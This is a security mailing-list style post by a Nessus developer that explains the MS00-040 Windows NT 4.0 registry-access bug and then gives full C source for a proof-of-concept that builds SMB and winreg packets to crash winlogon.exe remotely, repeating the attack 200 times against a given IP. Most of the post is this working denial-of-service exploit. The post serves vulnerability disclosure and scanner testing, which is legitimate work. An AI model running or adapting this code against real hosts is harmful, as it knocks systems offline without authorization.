Proof of concept exploit for the "Remote Registry Access Authentication" vulnerability in Windows NT 4.0 which was described in ms00-040 which allows a user of the local network to crash winlogon.exe remotely.
0d522a59742b3cab17ef2324689d032e9e785a15ab459d5668296905d6083e0f
Hi,
Since the release of MS advisory 00-040, I was asked by various persons
more details about the bug described in it. This bug allows a user of a
local network to crash winlogon.exe remotely.
Here is a proof of concept code which will hopefully reproduce
the problem. Nessus users have had this available as a .nasl
script for a few days now, so I have translated the code to ugly
C for the others (yes, we, Nessus developers, are open-minded).
A quick sum up is that at some place in the winlogon.exe code,
there was some instruction like :
value = ptr[length];
where 'ptr' is a ptr to the received packet, and 'length' is
a variable which is somewhere in the packet. By malforming
the proper request, it is possible to make the code execute
value = ptr[0xFFFF];
Which *may* cause an application error in winlogon.exe. This will
pop up a Dr. Watson error dialog, and will crash NT as soon
as the dialog is validated.
There are some "random" conditions that are necessary to make this
code work. This means: 100% success is not garanteed. So don't
bug me if that does not work for you.
Please read MS advisory 00-040 for patch information.
-------{ cut here }-------------------------------------------------------
/*
* crash_winlogon.c
*
* by Renaud Deraison - deraison@cvs.nessus.org
*
* This code is released under the GNU General Public License.
* (thanks for respecting this license)
*
* In case you are wondering, here is the motto I applied for this code :
*
* "Structures are for sissies"
*/
#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <windows.h>
#define bzero(x,y) memset(x, 0, y)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <ctype.h>
#define closesocket(x) close(x)
#endif
char * netbios_name(char * orig)
{
int i, len;
char * ret = malloc(40);
bzero(ret, 40);
len = strlen(orig);
for(i=0;i<16;i++)
{
if(i >= len)
strcat(ret, "CA");
else
{
int odiv, omod;
odiv = (orig[i] / 16) + 'A';
omod = (orig[i] % 16) + 'A';
ret[strlen(ret)]=odiv;
ret[strlen(ret)]=omod;
}
}
return(ret);
}
char * netbios_redirector()
{
int i;
char * ret = malloc(31);
bzero(ret, 31);
for(i=0;i<15;i++)strcat(ret, "CA");
strcat(ret, "AA");
return(ret);
}
char* unicode(char * data)
{
int len = strlen(data);
int i;
char * ret = malloc(110);
int l = 0;
bzero(ret,110);
for(i=0;i<len;i++)
{
ret[i*2] = data[i];
}
if(len & 1){
ret[len*2+7] = 0x19;
ret[len*2+9] = 0x02;
}
else
{
ret[len*2+8] = 0x19;
ret[len*2+10] = 0x02;
}
return(ret);
}
char *
smb_session_request(soc, remote)
int soc;
char* remote;
{
char * nb_remote = netbios_name(remote);
char * nb_local = netbios_redirector();
char * request = malloc(400);
u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
u_char req_body[] = {0x00, 0x20};
u_char * answer = malloc(400);
int n;
bzero(request, 400);
memcpy(request, req_head, 5);
memcpy(request+5, nb_remote, strlen(nb_remote));
memcpy(request+5+strlen(nb_remote), req_body, 2);
memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));
send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
bzero(answer, 400);
n = recv(soc, answer, 400, 0);
if(answer[0]==0x82)return(answer);
else return(NULL);
}
char *
smb_neg_prot(soc)
int soc;
{
char * r;
u_char neg_prot[] = {0x00,0x00,
0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
0x62, 0x61, 0x00
};
send(soc, neg_prot, sizeof(neg_prot), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
char * smb_session_setup(soc, login, password)
int soc;
char * login, * password;
{
int len = strlen(login) + strlen(password) + 57;
int bcc = 2 + strlen(login) + strlen(password);
int len_hi = len / 256, len_low = len % 256;
int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
int pass_len = strlen(password) + 1;
int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;
u_char req[] = {0x00,0x00,
len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, pass_len_lo, pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
bcc_hi};
char * r;
char * s;
s = malloc(5000);
bzero(s, 5000);
memcpy(s, req, sizeof(req));
memcpy(s+sizeof(req), password, strlen(password)+1);
memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);
send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
free(s);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
char * smb_tconx(soc, name, uid)
int soc;
char * name;
int uid;
{
int high = uid / 256;
int low = uid % 256;
int len = 55 + strlen(name) + 1;
int ulen = 13 + strlen(name);
u_char req [] = {0x00, 0x00,
0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};
u_char req2[] = {0x5C, 0x49,
0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};
char * s = malloc(4000);
bzero(s, 4000);
memcpy(s, req, sizeof(req));
memcpy(s+sizeof(req), name, strlen(name));
memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0);
bzero(s, 4000);
recv(soc, s, 4000, 0);
if(!s[9])return(s);
else return(NULL);
}
char * smbntcreatex(soc, uid, tid)
int soc, uid, tid;
{
u_char tid_high = tid / 256, tid_low = tid % 256;
u_char uid_high = uid / 256, uid_low = uid % 256;
char* r;
u_char req[] = {0x00, 0x00,
0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
0x6e, 0x72, 0x65, 0x67, 0x00};
send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
char * pipe_accessible_registry(soc, uid, tid, pid)
int soc, uid, tid, pid;
{
u_char tid_low = tid % 256, tid_high = tid / 256;
u_char uid_low = uid % 256, uid_high = uid / 256;
u_char pipe_low = pid % 256, pipe_high = pid / 256;
u_char req[] = {
0x00, 0x00,
0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
0x48, 0x60, 0x02, 0x00, 0x00, 0x00};
u_char * r;
send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
char * registry_access_step1(soc, uid, tid, pid)
int soc, uid, tid, pid;
{
u_char tid_low = tid % 256, tid_high = tid / 256;
u_char uid_low = uid % 256, uid_high = uid / 256;
u_char pipe_low = pid % 256, pipe_high = pid / 256;
u_char * r;
u_char req[] = {0x00, 0x00,
0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
0x00, 0x02};
send(soc, req, sizeof(req), 0);
r = malloc(4000);
bzero(r, 4000);
recv(soc, r, 4000, 0);
if(!r[9])return(r);
else return(NULL);
}
void crash_winlogon(soc, uid, tid, pid, key, reply)
int soc, uid, tid, pid;
char * key, * reply;
{
int key_len = strlen(key) + 1;
int key_len_hi = key_len / 256;
int key_len_lo = key_len % 256;
int tid_low = tid % 256;
int tid_high = tid / 256;
int uid_low = uid % 256;
int uid_high = uid / 256;
int pipe_low = pid % 256;
int pipe_high = pid / 256;
char * uc = unicode(key);
int len_uc = 100;
int len = 148 + len_uc;
int len_hi = len / 256;
int len_lo = len % 256;
int z = 40 +len_uc;
int z_lo = z % 256;
int z_hi = z / 256;
int y = 81 + len_uc;
int y_lo = y % 256;
int y_hi = y / 256;
int x = 64 + len_uc;
int x_lo = x % 256;
int x_hi = x / 256;
int n;
u_char req[] = {
0x00, 0x00,
len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17],
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
0x00, 0x00, 0x00, 0x00, 0x0F, 0x00};
int x2 = 65535; /* XXXXXX */
int x2_lo = 0xFF, x2_hi = 0xFF;
u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC,
0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00};
char * crashme = malloc(4000);
char a[] = {0xFF, 0xFF};
bzero(crashme, 4000);
memcpy(crashme, req, sizeof(req));
memcpy(crashme+sizeof(req), &(reply[84]), 20);
memcpy(crashme+sizeof(req)+20, req2, sizeof(req2));
memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc);
if((n = send(soc, crashme, len+4, 0))<0)
{
perror("send ");
}
}
int smbntcreatex_extract_pipe(reply)
char * reply;
{
return(reply[43]*256+reply[42]);
}
int tconx_extract_tid(reply)
char * reply;
{
return(reply[29]*256+reply[28]);
}
int session_extract_uid(reply)
char * reply;
{
int low, high;
low = reply[32];
high = reply[33];
return((high*256)+low);
}
#define error() _error(__LINE__)
void _error(int line)
{
printf("Error at line %d\n", line);
exit(1);
}
int main(argc, argv)
int argc;
char * argv[];
{
char * r;
int soc;
struct sockaddr_in sin;
int uid, tid, pid;
char * name;
char * ip;
char * login, * password;
int i;
#ifdef WIN32
WSADATA winSockData;
WSAStartup(0x0101, &winSockData);
#endif
if(argc < 3)
{
printf("Usage : winlogon host_ip netbios_name login [password]\n");
exit(1);
}
name = strdup(argv[2]);
for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]);
ip = strdup(argv[1]);
login = strdup(argv[3]);
if(argv[4])password = strdup(argv[4]);
else password = "";
printf("ip : %s\n", ip);
printf("name : %s\n", name);
printf("login : %s\n", login);
printf("password : %s\n", password);
for(i=0;i<200;i++)
{
soc = socket(AF_INET, SOCK_STREAM, 0);
if(soc < 0)error();
bzero(&sin, sizeof(sin));
sin.sin_port = htons(139);
sin.sin_addr.s_addr = inet_addr(ip);
sin.sin_family = AF_INET;
connect(soc, (const struct sockaddr*)&sin, sizeof(sin));
r = smb_session_request(soc, name);
if(!r)error();free(r);
r = smb_neg_prot(soc);
if(!r)error();free(r);
r = smb_session_setup(soc, login, password);
if(!r)error();
uid = session_extract_uid(r);free(r);
r = smb_tconx(soc, name, uid);
if(!r)error();
tid = tconx_extract_tid(r);free(r);
r = smbntcreatex(soc, uid, tid);
if(!r)error();
pid = smbntcreatex_extract_pipe(r);free(r);
r = pipe_accessible_registry(soc, uid, tid, pid);
if(!r)error();free(r);
r = registry_access_step1(soc, uid, tid, pid);if(!r)error();
crash_winlogon(soc, uid, tid, pid, "x", r);
shutdown(soc, 2);
closesocket(soc);
}
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
----{ cut here }----------------------------------------------------------
-- Renaud
--
Renaud Deraison
The Nessus Project
http://www.nessus.org